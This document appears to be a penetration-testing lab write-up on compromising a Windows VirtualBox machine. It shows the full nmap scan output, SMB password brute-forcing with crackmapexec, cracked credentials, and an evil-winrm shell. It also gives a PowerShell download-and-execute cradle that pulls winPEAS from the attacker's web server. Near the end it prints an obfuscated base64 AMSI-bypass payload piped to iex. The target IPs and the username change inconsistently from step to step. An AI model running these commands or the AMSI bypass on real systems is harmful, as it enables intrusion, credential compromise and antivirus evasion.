Ir al contenido

Hacking machine 172.20.0.152 (1)

First, what we will do is scan the victim machine, so we will perform a scan with nmap

0views

First, we will perform a scan of the target machine; therefore, we will carry out a scan with nmap

Ventana de terminal
┌──(kali㉿kali)-[~/Desktop]
└─$ bash script.sh -i 172.20.0.152 --scan-type standard --anlyze
# Nmap 7.95 scan initiated Wed Oct 15 13:08:55 2025 as: /usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v -p80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49671 -oA scans/172.20.0.152/detailed 172.20.0.152
Pre-scan script results:
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| ipv6-multicast-mld-list:
| fe80::800:27ff:fe00:0:
| device: eth1
| mac: 0a:00:27:00:00:00
| multicast_ips:
| ff02::fb (mDNSv6)
| ff02::fb (mDNSv6)
|_ ff02::fb (mDNSv6)
| targets-ipv6-multicast-mld:
| IP: fe80::800:27ff:fe00:0 MAC: 0a:00:27:00:00:00 IFACE: eth1
|
|_ Use --script-args=newtargets to add the results as targets
|_multicast-profinet-discovery: 0
| targets-ipv6-multicast-slaac:
| IP: fe80::800:27ff:fe00:0 MAC: 0a:00:27:00:00:00 IFACE: eth1
|_ Use --script-args=newtargets to add the results as targets
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| targets-ipv6-multicast-echo:
| IP: fe80::800:27ff:fe00:0 MAC: 0a:00:27:00:00:00 IFACE: eth1
|_ Use --script-args=newtargets to add the results as targets
Nmap scan report for 172.20.0.152
Host is up, received user-set (0.0030s latency).
Bug in http-security-headers: no string output.
Bug in http-security-headers: no string output.
Bug in http-security-headers: no string output.
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Microsoft IIS httpd 10.0
|_http-errors: Couldn't find any error pages.
|_http-mobileversion-checker: No mobile version detected.
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-chrono: Request times for /; avg: 194.70ms; min: 173.45ms; max: 218.12ms
|_http-referer-checker: Couldn't find any cross-domain scripts.
| http-headers:
| Content-Length: 63
| Content-Type: text/html
| Last-Modified: Tue, 26 Sep 2023 16:46:42 GMT
| Accept-Ranges: bytes
| ETag: "bf3e23799f0d91:0"
| Server: Microsoft-IIS/10.0
| Date: Wed, 15 Oct 2025 17:10:30 GMT
| Connection: close
|
|_ (Request type: HEAD)
|_http-date: Wed, 15 Oct 2025 17:10:31 GMT; 0s from local time.
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_ Other: 1
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-xssed: No previously reported XSS vuln.
| http-traceroute:
|_ Possible reverse proxy detected.
|_http-comments-displayer: Couldn't find any comments.
| http-vhosts:
|_128 names had status 200
|_http-title: Site doesn't have a title (text/html).
| http-useragent-tester:
| Status for browser useragent: 200
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-feed: Couldn't find any feeds.
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 64 Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds? syn-ack ttl 64
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
5985/tcp open http syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-xssed: No previously reported XSS vuln.
| http-sitemap-generator:
| Directory structure:
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_
|_http-comments-displayer: Couldn't find any comments.
| http-vhosts:
|_128 names had status 404
|_http-feed: Couldn't find any feeds.
| http-useragent-tester:
| Status for browser useragent: 404
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
|_http-chrono: Request times for /; avg: 605.28ms; min: 180.93ms; max: 2153.36ms
|_http-mobileversion-checker: No mobile version detected.
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-errors:
| Spidering limited to: maxpagecount=40; withinhost=172.20.0.152
| Found the following error pages:
|
| Error Code: 404
|_ http://172.20.0.152:5985/
| http-headers:
| Content-Type: text/html; charset=us-ascii
| Server: Microsoft-HTTPAPI/2.0
| Date: Wed, 15 Oct 2025 17:10:22 GMT
| Connection: close
| Content-Length: 315
|
|_ (Request type: GET)
| http-traceroute:
|_ Possible reverse proxy detected.
|_http-date: Wed, 15 Oct 2025 17:10:12 GMT; -2s from local time.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-referer-checker: Couldn't find any cross-domain scripts.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-title: Not Found
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
47001/tcp open http syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-date: Wed, 15 Oct 2025 17:10:29 GMT; -1s from local time.
| http-sitemap-generator:
| Directory structure:
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_
|_http-feed: Couldn't find any feeds.
| http-useragent-tester:
| Status for browser useragent: 404
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
|_http-mobileversion-checker: No mobile version detected.
| http-vhosts:
|_128 names had status 404
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-comments-displayer: Couldn't find any comments.
|_http-chrono: Request times for /; avg: 192.05ms; min: 176.06ms; max: 209.68ms
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-xssed: No previously reported XSS vuln.
| http-traceroute:
|_ Possible reverse proxy detected.
|_http-title: Not Found
| http-headers:
| Content-Type: text/html; charset=us-ascii
| Server: Microsoft-HTTPAPI/2.0
| Date: Wed, 15 Oct 2025 17:10:32 GMT
| Connection: close
| Content-Length: 315
|
|_ (Request type: GET)
| http-errors:
| Spidering limited to: maxpagecount=40; withinhost=172.20.0.152
| Found the following error pages:
|
| Error Code: 404
|_ http://172.20.0.152:47001/
|_http-referer-checker: Couldn't find any cross-domain scripts.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
49671/tcp open msrpc syn-ack ttl 64 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: VoIP adapter|bridge|general purpose
Running (JUST GUESSING): AT&T embedded (96%), Oracle Virtualbox (95%), Slirp (95%), QEMU (93%), GNU Hurd (87%)
OS CPE: cpe:/a:oracle:vm_virtualbox cpe:/a:danny_gasparovski:slirp cpe:/a:qemu:qemu cpe:/o:gnu:hurd
Aggressive OS guesses: AT&T BGW210 voice gateway (96%), Oracle Virtualbox Slirp NAT bridge (95%), QEMU user mode network gateway (93%), GNU Hurd 0.3 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=18 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_dns-brute: Can't guess domain of "172.20.0.152"; use dns-brute.domain script argument.
|_msrpc-enum: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
| smb2-capabilities:
| 2:0:2:
| Distributed File System
| 2:1:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:2:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:1:1:
| Distributed File System
| Leasing
|_ Multi-credit operations
| smb-protocols:
| dialects:
| 2:0:2
| 2:1:0
| 3:0:0
| 3:0:2
|_ 3:1:1
| nbstat: NetBIOS name: WIN-IURF14RBVGV, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:ec:f6:05 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| Names:
| WIN-IURF14RBVGV<20> Flags: <unique><active>
| WIN-IURF14RBVGV<00> Flags: <unique><active>
|_ WORKGROUP<00> Flags: <group><active>
|_fcrdns: FAIL (No PTR record)
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_ipidseq: Random Positive Increments
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| qscan:
| PORT FAMILY MEAN (us) STDDEV LOSS (%)
| 80 0 8169.50 5870.48 0.0%
| 135 0 6604.00 2131.07 0.0%
| 139 0 7122.00 4445.16 0.0%
| 445 0 7265.50 2579.63 0.0%
| 5985 0 12789.90 15236.92 0.0%
| 47001 0 9083.00 4771.11 0.0%
| 49664 0 7128.30 3495.84 0.0%
|_49665 0 6861.20 4258.90 0.0%
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| smb2-time:
| date: 2025-10-15T17:10:10
|_ start_date: N/A
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_path-mtu: PMTU == 1500
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 15 13:13:33 2025 -- 1 IP address (1 host up) scanned in 278.31 seconds

1.2.- Since there is a web server, we will observe the web content

Sección titulada «1.2.- Al tener web, observaremos qué contenido tiene la web»

Upon accessing the website, we can deduce that there may be a user on the machine named “nica”

image.png

3.1.- CrackMapExec with user Nica + “rockyou.txt” file

Sección titulada «3.1.- CrackMapExec con usuario Nica + archivo “rockyou.txt”»
Ventana de terminal
crackmapexec -t 150 smb 172.20.0.106 -u nica -p /usr/share/wordlists/rockyou.txt

Valid user and password found: “hardcore”

Ventana de terminal
evil-winrm -i 172.20.0.152 -u nica -p 'hardcore'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
^C
Warning: Press "y" to exit, press any other key to continue
*Evil-WinRM* PS C:\Users\nica\Documents>

4.2.- We will observe what privileges we have and which users exist

Sección titulada «4.2.- Observaremos qué privilegios tenemos y qué usuarios hay»
Ventana de terminal
┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i 172.20.0.106 -u nica -p hardcore
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents> dir
*Evil-WinRM* PS C:\Users\nica\Documents> dir C:\Users
Directorio: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/26/2023 6:36 PM Administrador
d----- 9/26/2023 6:41 PM akanksha
d----- 9/26/2023 6:44 PM nica
d-r--- 9/26/2023 3:11 PM Public
*Evil-WinRM* PS C:\Users\nica\Documents>

We will find that there is a user named “akanksha” who has admin privileges, as the user nica does not.

4.3.- CrackMapExec with user akanskha + “rockyou.txt” file

Sección titulada «4.3.- CrackMapExec con usuario akanskha + archivo “rockyou.txt”»
Ventana de terminal
crackmapexec -t 150 smb 172.20.0.106 -u akanksha -p /usr/share/wordlists/rockyou.txt

Valid user and password found: “sweetgirl”

The first step is to obtain the script on our machine and prepare it to be “served” to the victim.

We open a terminal in Kali and use git to download the complete collection of PEASS-ng scripts.

Ventana de terminal
# Mou-te a un directori de treball (ex. l'Escriptori)
cd ~/Desktop
# Clona el repositori oficial
git clone https://github.com/carlospolop/PEASS-ng.git
  • Result: We will now have a folder named PEASS-ng. The script we are interested in is at: PEASS-ng/winPEAS/winPEAS.ps1.

In order for the Windows machine to be able to "download" the script, we must host it on a web server. The simplest method is to use the Python http.server module.

Ventana de terminal
# Navega a la carpeta que conté l'script de WinPEAS
cd PEASS-ng/winPEAS/
# Inicia el servidor web al port 80 (necessitaràs 'sudo')
sudo python3 -m http.server 80
  • Important: We leave this terminal open. While it is running, our Kali will be serving all the files in this folder.

We will need to know the IP address of our Kali machine so that the victim knows where to download the script.

We open a new terminal in Kali and will run:

Ventana de terminal
ip a
  • We look for our IP in the eth0 or tun0 interface. For example, it could be 172.18.33.188 (based on our previous examples).

Now, we switch to the shell we already have on the Windows machine.

We have already mastered this step.

Bash

Ventana de terminal
evil-winrm -i 172.20.0.140 -u nika -p hardcore
  • Result: We obtain our interactive PowerShell shell: Evil-WinRM* PS C:\Users\nika\Documents>

The first attempt at direct in-memory execution is the following:

Ventana de terminal
IEX (New-Object Net.WebClient).DownloadString('http://<TEVA_IP_KALI>/winPEAS.ps1')
  • Result (Our error): This script contains malicious content...
  • Diagnosis: This confirms that AMSI (Antimalware Scan Interface) is active and has recognized the signature of winPEAS.ps1.

This is where we use the obfuscated code to evade the antivirus.

To “blind” AMSI, we must execute code that the antivirus itself does not recognize as malicious. We will use the obfuscated code we have generated (based on Matt Graeber's method).

  1. Inside our evil-winrm shell, we copy and paste the following block of code. This obfuscation is designed to prevent AMSI from detecting keywords such as AmsiUtils or amsiInitFailed.

    Ventana de terminal
    #Matt Graebers Reflection method
    [sySTEm.tExt.eNcoDiNg]::UNicOde.geTStRIng([SysTEM.cONveRT]::FrombasE64STriNG("IwBVAG4AawBuAG8AdwBuACAALQAgAEYAbwByAGMAZQAgAGUAcgByAG8AcgAgAAoAJABPADUAcwBYAGUARwBCAHUAdwAwAGMAWAA9ACQAbgB1AGwAbAA7ACQAUwBKAGgAegAwADQASAAyAGUAbgBjAEcARwBVADkAdwBmAEQAVwA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBl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SAF0AKABbAGIAeQBUAGUAXQAwAHgANgAxACkAKwBbAEMASABhAHIAXQAoADEAMAAzACkAKwBbAGMAaABhAFIAXQAoAFsAYgB5AFQAZQBdADAAeAA2ADUAKQArAFsAQwBIAEEAUgBdACgAMQAwADkAKgAzADgALwAzADgAKQArAFsAYwBoAEEAcgBdACgAWwBCAHkAdABFAF0AMAB4ADYANQApACsAWwBDAGgAQQBSAF0AKABbAEIAWQB0AGUAXQAwAHgANgBlACkAKwBbAGMASABBAHIAXQAoADYAMwArADUAMwApACkALgAkACgAKAAnAMIA+gB0APUAJwArACcAbQDiAHQA7gAnACsAJwD1AG4AJwApAC4AbgBvAFIAbQBhAEwASQBaAEUAKABbAEMASABhAFIAXQAoADQANgArADIANAApACsAWwBjAEgAYQBSAF0AKAAxADEAMQArADkANQAtADkANQApACsAWwBjAEgAYQByAF0AKABbAGIAeQB0AGUAXQAwAHgANwAyACkAKwBbAGMASABBAHIAXQAoADEAMAAzACsANgApACsAWwBjAGgAQQBSAF0AKABbAGIAWQB0AGUAXQAwAHgANAA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBIAEEAcgBdACgAOQAyACkAKwBbAEMASABBAFIAXQAoADEAMQAyACoANAAvADQAKQArAFsAYwBIAGEAcgBdACgAWwBiAFkAVABFAF0AMAB4ADcAYgApACsAWwBDAEgAYQBSAF0AKAA3ADcAKQArAFsAQwBoAGEAUgBdACgAMQAxADAAKQArAFsAYwBoAEEAUgBdACgANwA4ACsANAA3ACkAKQAuACQAKABbAEMASABhAHIAXQAoADYANQAqADEANAAvADEANAApACsAWwBjAGgAQQByAF0AKABbAEIAWQB0AEUAXQAwAHgANgBkACkAKwBbAGMAaABBAFIAXQAoADcAMgArADQAMwApACsAWwBDAEgAYQBSAF0AKABbAEIAWQBUAGUAXQAwAHgANgA5ACkAKwBbAGMASABhAFIAXQAoADgANQApACsAWwBjAEgAYQByAF0AKABbAGIAeQB0AGUAXQAwAHgANwA0ACkAKwBbAGMAaABBAHIAXQAoAFsAQgB5AHQARQBdADAAeAA2ADkAKQArAFsAQwBIAEEAUgBdACgAMQAwADgAKwAxADcALQAxADcAKQArAFsAYwBoAEEAcgBdACgAWwBCAHkAdABFAF0AMAB4ADcAMwApACkAIgApAC4ARwBlAHQARgBpAGUAbABkACgAIgAkACgAWwBjAGgAQQBSAF0AKABbAEIAeQB0AEUAXQAwAHgANgAxACkAKwBbAEMAaABBAFIAXQAoAFsAQgBZAFQARQBdADAAeAA2AGQAKQArAFsAQwBoAEEAcgBdACgAMQAxADUAKQArAFsAYwBoAGEAcgBdACgAMQAwADUAKwA5ADIALQA5ADIAKQArAFsAYwBIAGEAcgBdACgAWwBiAHkAdABlAF0AMAB4ADQAMwApACsAWwBjAGgAYQByAF0AKABbAGIAWQB0AEUAXQAwAHgANgBmACkAKwBbAGMAaABhAFIAXQAoADIANAArADgANgApACsAWwBDAGgAQQBSAF0AKAAxADEANgAqADEAMAAwAC8AMQAwADAAKQArAFsAYwBoAEEAcgBdACgAMQAwADEAKwA2ADUALQA2ADUAKQArAFsAQwBoAEEAcgBdACgAWwBiAHkAVABlAF0AMAB4ADcAOAApACsAWwBDAGgAYQByAF0AKABbAGIAeQB0AGUAXQAwAHgANwA0ACkAKQAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABPADUAcwBYAGUARwBCAHUAdwAwAGMAWAAsACAAWwBJAG4AdABQAHQAcgBdACQAUwBKAGgAegAwADQASAAyAGUAbgBjAEcARwBVADkAdwBmAEQAVwApADsAJABvAHEAYQBpAGgAYwB0AGMAPQAiACsAKAAnAG4AJwArACcAagAnACsAJwB3ACcAKwAnAGcAJwArACcAcwAnACsAJwB0ACcAKwAnAHgAJwApAC4AbgBPAFIATQBhAEwASQB6AGUAKABbAEMAaABhAHIAXQAoADMANgArADMANAApACsAWwBDAGgAQQBSAF0AKAAzADUAKwA3ADYAKQArAFsAYwBIAEEAUgBdACgAMQA5ACsAOQA1ACkAKwBbAGMASABhAFIAXQAoADEAMAA5ACkAKwBbAGMAaABhAFIAXQAoADYAOAArADUAMAAtADUAMAApACkAIAAtAHIAZQBwAGwAYQBjAGUAIABbAEMAaABBAFIAXQAoADkAMgAqADcANwAvADcANwApACsAWwBjAEgAQQBSAF0AKAAxADEAMgAqADEAMAAxAC8AMQAwADEAKQArAFsAQwBoAGEAUgBdACgAMQAyADMAKwAyADkALQAyADkAKQArAFsAQwBIAEEAUgBdACgANgA2ACsAMQAxACkAKwBbAGMASABBAHIAXQAoAFsAYgB5AFQARQBdADAAeAA2AGUAKQArAFsAQwBIAEEAUgBdACgAWwBCAFkAdABFAF0AMAB4ADcAZAApACIAOwBbAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQA2ACkA"))|iex
  2. We press Enter. If no error is returned, the bypass has worked. AMSI is now disabled for our current PowerShell session.

Now that AMSI is “asleep”, we execute the original command again to download and run WinPEAS.

Ventana de terminal
# Reemplaça <TEVA_IP_KALI> amb la teva IP real
IEX (New-Object Net.WebClient).DownloadString('http://<TEVA_IP_KALI>/winPEAS.ps1')
  • Result: This time, the script should not be blocked. WinPEAS will execute and begin printing all enumeration information directly to our evil-winrm console, with its characteristic colors.